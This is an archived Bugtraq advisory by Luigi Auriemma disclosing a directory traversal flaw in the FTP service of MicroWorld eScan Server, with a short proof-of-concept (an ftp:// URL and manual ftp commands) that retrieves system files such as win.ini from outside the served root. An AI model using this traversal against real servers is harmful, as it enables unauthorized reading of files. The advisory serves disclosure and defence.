bugtraq - Directory traversal in MicroWorld eScan Server 9.0.742.98

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <20080306191840.cf2888e4.aluigi@autistici.org>
Date: Thu, 6 Mar 2008 19:18:40 +0100
From: Luigi Auriemma <aluigi@...istici.org>
To: bugtraq@...urityfocus.com, news@...uriteam.com,
	full-disclosure@...ts.grok.org.uk, vuln@...unia.com,
	packet@...ketstormsecurity.org
Subject: Directory traversal in MicroWorld eScan Server 9.0.742.98


#######################################################################

                             Luigi Auriemma

Application:  MicroWorld eScan Server (aka eScan Management Console)
              http://www.mwti.net
Versions:     <= 9.0.742.98
Platforms:    Windows
Bug:          directory traversal
Exploitation: remote
Date:         06 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@...istici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


>From vendor's website:
"The Powerful Management Console of eScan provides options for system
administrators to remotely administer a vast network of clients. It
also allows them to remotely install eScan, deploy upgrades and updates
and enforce an Integrated Security Policy for the entire Enterprise."


#######################################################################

======
2) Bug
======


The eScan Server (eserv.exe) listens on port 2021 for FTP connections
using c:\pub as root path.

Although the server tries to avoid possible directory traversal attacks
for example rejecting the dotdot patterns, is still possible for an
attacker to download any file from the disk of the remote system simply
applying a slash or a backslash at the beginning of the filename for
selecting the root path of the disk.
For example /boot.ini, \windows\win.ini and so on.

Only downloading files is allowed by the server, so deleting or
uploading custom files is not possible.


#######################################################################

===========
3) The Code
===========


ftp://SERVER:2021//windows/win.ini

or manually:
ftp -A
open SERVER 2021
get
/windows/win.ini
local_win.ini


#######################################################################

======
4) Fix
======


No fix


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org